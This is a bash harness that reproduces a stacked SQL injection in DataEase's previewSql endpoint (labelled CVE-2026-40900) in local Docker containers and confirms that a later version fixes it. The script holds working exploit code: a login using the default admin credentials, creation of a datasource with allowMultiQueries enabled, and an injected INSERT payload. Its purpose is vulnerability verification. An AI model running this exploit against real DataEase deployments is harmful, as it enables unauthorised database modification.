#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Helper: cleanup on exit
cleanup() {
  echo "[+] Cleaning up containers..."
  docker compose -f "$ROOT/repro/docker-compose.yml" down 2>/dev/null || true
}
trap cleanup EXIT

# Write docker-compose template
write_compose() {
  local version=$1
  cat > "$ROOT/repro/docker-compose.yml" <<EOF
services:
  mysql:
    image: mysql:8.4
    container_name: mysql
    environment:
      MYSQL_ROOT_PASSWORD: Pruva2026!
      MYSQL_DATABASE: dataease
    ports:
      - "3306:3306"
    volumes:
      - mysql_data:/var/lib/mysql
      - $ROOT/repro/init.sql:/docker-entrypoint-initdb.d/init.sql
      - $ROOT/repro/my.cnf:/etc/mysql/conf.d/my.cnf
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-uroot", "-pPruva2026!"]
      interval: 5s
      timeout: 3s
      retries: 10
    networks:
      - de-net

  dataease:
    image: registry.cn-qingdao.aliyuncs.com/dataease/dataease:${version}
    container_name: dataease
    ports:
      - "8100:8100"
    volumes:
      - $ROOT/repro/application.yml:/opt/apps/config/application.yml
    depends_on:
      mysql:
        condition: service_healthy
    networks:
      - de-net

volumes:
  mysql_data:

networks:
  de-net:
EOF
}

# Write init.sql
cat > "$ROOT/repro/init.sql" <<'EOF'
CREATE DATABASE IF NOT EXISTS `dataease` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;
EOF

# Write my.cnf
cat > "$ROOT/repro/my.cnf" <<'EOF'
[mysqld]
max_connections=500
character-set-server=utf8mb4
collation-server=utf8mb4_0900_ai_ci
EOF

# Write application.yml
cat > "$ROOT/repro/application.yml" <<'EOF'
server:
  tomcat:
    connection-timeout: 70000
spring:
  datasource:
    url: jdbc:mysql://mysql:3306/dataease?autoReconnect=false&useUnicode=true&characterEncoding=UTF-8&characterSetResults=UTF-8&zeroDateTimeBehavior=convertToNull&useSSL=false&allowPublicKeyRetrieval=true
    username: root
    password: Pruva2026!
dataease:
  apisix-api:
    domain: http://localhost:9180
    key: dummykey
  export:
    views:
      limit: 100000
    dataset:
      limit: 100000
  origin-list: "http://localhost:8000"
  login_timeout: 960
  dataease-servers: dataease
  playwright-server: http://localhost:3000/screenshot
EOF

# Helper: wait for DataEase to be truly ready (dekey returns code 0)
wait_for_de() {
  echo "[+] Waiting for DataEase /de2api/dekey to return success..."
  for i in $(seq 1 180); do
    resp=$(curl -sf http://localhost:8100/de2api/dekey 2>/dev/null || echo "")
    if echo "$resp" | grep -q '"code":0'; then
      echo "[+] DataEase is ready."
      return 0
    fi
    sleep 5
  done
  echo "[-] DataEase did not start in time."
  docker logs dataease --tail 50 > "$LOGS/dataease_startup_fail.log" 2>&1 || true
  exit 1
}

# Helper: login and get token
get_token() {
  python3 -c "
import requests, base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import rsa

BASE='http://localhost:8100'

try:
    dekey = requests.get(f'{BASE}/de2api/dekey', timeout=10).json()['data']
    sep = base64.b64encode(b'-pk_separator-').decode()
    parts = dekey.split(sep + '=')
    if len(parts) != 2:
        parts = dekey.split(sep)
    k1, k2 = parts[0], parts[1]

    cipher = AES.new(k2.encode('utf-8'), AES.MODE_CBC, b'0000000000000000')
    pk = unpad(cipher.decrypt(base64.b64decode(k1)), AES.block_size).decode()
    pk_pem = '-----BEGIN PUBLIC KEY-----\n' + pk + '\n-----END PUBLIC KEY-----'
    pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(pk_pem.encode())

    name = base64.b64encode(rsa.encrypt(b'admin', pubkey)).decode()
    pwd = base64.b64encode(rsa.encrypt(b'DataEase@123456', pubkey)).decode()

    r = requests.post(f'{BASE}/de2api/login/localLogin', json={'name': name, 'pwd': pwd, 'origin': 0}, timeout=10)
    j = r.json()
    if j.get('code') != 0 or not j.get('data'):
        print('LOGIN_FAILED', r.text, file=__import__('sys').stderr)
        exit(1)
    print(j['data']['token'])
except Exception as e:
    print('LOGIN_ERROR', e, file=__import__('sys').stderr)
    exit(1)
"
}

# Helper: create datasource
create_datasource() {
  local token=$1
  local name=$2
  python3 -c "
import requests, base64, json, sys
BASE='http://localhost:8100'
TOKEN=sys.argv[1]
NAME=sys.argv[2]
config = {
    'dataBase': 'dataease',
    'jdbcUrl': '',
    'urlType': 'hostName',
    'sshType': 'password',
    'extraParams': 'allowMultiQueries=true',
    'username': 'root',
    'password': 'Pruva2026!',
    'host': 'mysql',
    'authMethod': 'passwd',
    'port': 3306,
    'initialPoolSize': 5,
    'minPoolSize': 5,
    'maxPoolSize': 10,
    'queryTimeout': 30
}
config_b64 = base64.b64encode(json.dumps(config).encode()).decode()
payload = {
    'pid': 0,
    'name': NAME,
    'nodeType': 'datasource',
    'action': '',
    'type': 'mysql',
    'configuration': config_b64
}
headers = {'Content-Type': 'application/json', 'X-DE-TOKEN': TOKEN}
r = requests.post(f'{BASE}/de2api/datasource/save', json=payload, headers=headers, timeout=30)
j = r.json()
if j.get('code') != 0 or not j.get('data'):
    print('CREATE_DS_FAILED', r.text, file=__import__('sys').stderr)
    exit(1)
print(j['data']['id'])
" "$token" "$name"
}

# Helper: get datasource status from save response
get_ds_status_from_response() {
  local resp=$1
  echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin)['data'].get('status','Unknown'))"
}

# Helper: validate datasource
validate_datasource() {
  local token=$1
  local ds_id=$2
  local outfile=$3
  curl -sf -H "X-DE-TOKEN: $token" "http://localhost:8100/de2api/datasource/validate/$ds_id" > "$outfile" 2>&1 || true
}

# Helper: run previewSql exploit
run_exploit() {
  local token=$1
  local ds_id=$2
  local outfile=$3
  python3 -c "
import requests, base64
BASE='http://localhost:8100'
TOKEN='$token'
DS_ID='$ds_id'
sql = \"SELECT 1 FROM dual) AS x; INSERT INTO repro_test (id, name) VALUES (999999999, 'pwned-by-cve-2026-40900')#\"
payload = {
    'datasourceId': DS_ID,
    'sql': base64.b64encode(sql.encode()).decode(),
    'sqlVariableDetails': '[]',
    'isCross': False
}
headers = {'Content-Type': 'application/json', 'X-DE-TOKEN': TOKEN}
r = requests.post(f'{BASE}/de2api/datasetData/previewSql', json=payload, headers=headers, timeout=30)
print(r.text)
" > "$outfile" 2>&1
}

# Helper: query MySQL row count
get_repro_count() {
  docker exec mysql mysql -uroot -pPruva2026! -e "SELECT COUNT(*) FROM dataease.repro_test" 2>/dev/null | tail -1 | tr -d ' \n'
}

# Helper: reset repro_test table
reset_repro() {
  docker exec mysql mysql -uroot -pPruva2026! -e "TRUNCATE TABLE dataease.repro_test;" 2>/dev/null || true
}

# Helper: create repro_test table
create_repro_table() {
  docker exec mysql mysql -uroot -pPruva2026! -e "CREATE TABLE IF NOT EXISTS dataease.repro_test (id INT PRIMARY KEY, name VARCHAR(255));" 2>/dev/null || true
}

# ============================================
# PHASE 1: Reproduce on v2.10.20 (vulnerable)
# ============================================
echo "=========================================="
echo " PHASE 1: Testing v2.10.20 (vulnerable)   "
echo "=========================================="

write_compose "v2.10.20"
docker compose -f "$ROOT/repro/docker-compose.yml" up -d
wait_for_de

create_repro_table
reset_repro

TOKEN=$(get_token)
echo "[+] Got token: ${TOKEN:0:30}..."

DS_NAME="repro-ds-$(date +%s)"
DS_ID=$(create_datasource "$TOKEN" "$DS_NAME")
echo "[+] Created datasource ID: $DS_ID"

# Validate should succeed on vulnerable version
validate_datasource "$TOKEN" "$DS_ID" "$LOGS/v2.10.20_validate.json"
echo "[+] Validate response saved."

# Reset target table
reset_repro
echo "[+] repro_test table reset (count=$(get_repro_count))."

# Run exploit
run_exploit "$TOKEN" "$DS_ID" "$LOGS/v2.10.20_exploit.json"
echo "[+] Exploit response saved."

# Check side-effect
COUNT_VULN=$(get_repro_count)
echo "[+] Post-exploit repro_test count: $COUNT_VULN"

# Tear down
docker compose -f "$ROOT/repro/docker-compose.yml" down

# ============================================
# PHASE 2: Verify fix on v2.10.21 (fixed)
# ============================================
echo "=========================================="
echo " PHASE 2: Testing v2.10.21 (fixed)        "
echo "=========================================="

write_compose "v2.10.21"
docker compose -f "$ROOT/repro/docker-compose.yml" up -d
wait_for_de

create_repro_table
reset_repro

TOKEN2=$(get_token)
echo "[+] Got token: ${TOKEN2:0:30}..."

# Try to create datasource with allowMultiQueries=true
DS_NAME2="repro-ds-fixed-$(date +%s)"
cat > /tmp/create_fixed_ds.py <<'PYEOF'
import requests, base64, json, sys
BASE='http://localhost:8100'
TOKEN=sys.argv[1]
NAME=sys.argv[2]
config = {
    'dataBase': 'dataease',
    'jdbcUrl': '',
    'urlType': 'hostName',
    'sshType': 'password',
    'extraParams': 'allowMultiQueries=true',
    'username': 'root',
    'password': 'Pruva2026!',
    'host': 'mysql',
    'authMethod': 'passwd',
    'port': 3306,
    'initialPoolSize': 5,
    'minPoolSize': 5,
    'maxPoolSize': 10,
    'queryTimeout': 30
}
config_b64 = base64.b64encode(json.dumps(config).encode()).decode()
payload = {
    'pid': 0,
    'name': NAME,
    'nodeType': 'datasource',
    'action': '',
    'type': 'mysql',
    'configuration': config_b64
}
headers = {'Content-Type': 'application/json', 'X-DE-TOKEN': TOKEN}
r = requests.post(f'{BASE}/de2api/datasource/save', json=payload, headers=headers, timeout=30)
print(r.text)
PYEOF

CREATE_RESULT=$(python3 /tmp/create_fixed_ds.py "$TOKEN2" "$DS_NAME2")
echo "$CREATE_RESULT" > "$LOGS/v2.10.21_create_datasource.json"
echo "[+] v2.10.21 create-datasource response saved."

# Parse result
DS_STATUS=$(echo "$CREATE_RESULT" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['data'].get('status','Unknown'))")
COUNT_FIXED=0
if echo "$CREATE_RESULT" | grep -qi "Illegal parameter"; then
  echo "[+] FIX CONFIRMED: v2.10.21 rejected allowMultiQueries=true parameter during connection test."
  COUNT_FIXED=0
elif [ "$DS_STATUS" = "Error" ]; then
  echo "[+] FIX CONFIRMED: v2.10.21 created datasource but marked it as Error (cannot be used for previewSql)."
  COUNT_FIXED=0
elif echo "$CREATE_RESULT" | grep -q '"code":0'; then
  DS_ID2=$(echo "$CREATE_RESULT" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['data']['id'])")
  echo "[!] Datasource was created with status=$DS_STATUS. ID=$DS_ID2"
  validate_datasource "$TOKEN2" "$DS_ID2" "$LOGS/v2.10.21_validate.json"
  run_exploit "$TOKEN2" "$DS_ID2" "$LOGS/v2.10.21_exploit.json"
  COUNT_FIXED=$(get_repro_count)
  reset_repro
else
  echo "[+] Unexpected response from v2.10.21 (not success)."
  COUNT_FIXED=0
fi

# Tear down
docker compose -f "$ROOT/repro/docker-compose.yml" down

# ============================================
# RESULTS
# ============================================
echo "=========================================="
echo " RESULTS                                  "
echo "=========================================="
echo "v2.10.20 (vulnerable):"
echo "  - Datasource created successfully"
echo "  - Exploit executed"
echo "  - Post-exploit row count: $COUNT_VULN"
if [ "$COUNT_VULN" -gt 0 ]; then
  echo "  ==> VULNERABILITY CONFIRMED"
else
  echo "  ==> NO SIDE-EFFECT (unexpected)"
fi

echo ""
echo "v2.10.21 (fixed):"
echo "  - Create/validate response saved"
if [ "$DS_STATUS" = "Error" ] || echo "$CREATE_RESULT" | grep -qi "Illegal parameter"; then
  echo "  ==> FIX CONFIRMED: allowMultiQueries blocked, datasource unusable"
else
  echo "  - Post-exploit row count: $COUNT_FIXED"
  if [ "$COUNT_FIXED" -gt 0 ]; then
    echo "  ==> FIX NOT CONFIRMED (unexpected)"
  else
    echo "  ==> FIX CONFIRMED: no side-effect"
  fi
fi

# Exit code: 0 if vulnerable version showed side-effect AND fixed version did not
if [ "$COUNT_VULN" -gt 0 ] && { [ "$DS_STATUS" = "Error" ] || echo "$CREATE_RESULT" | grep -qi "Illegal parameter" || [ "$COUNT_FIXED" -eq 0 ]; }; then
  echo ""
  echo "[+] Overall: Vulnerability reproduced and fix verified."
  exit 0
else
  echo ""
  echo "[-] Overall: Could not fully confirm vulnerability or fix."
  exit 1
fi
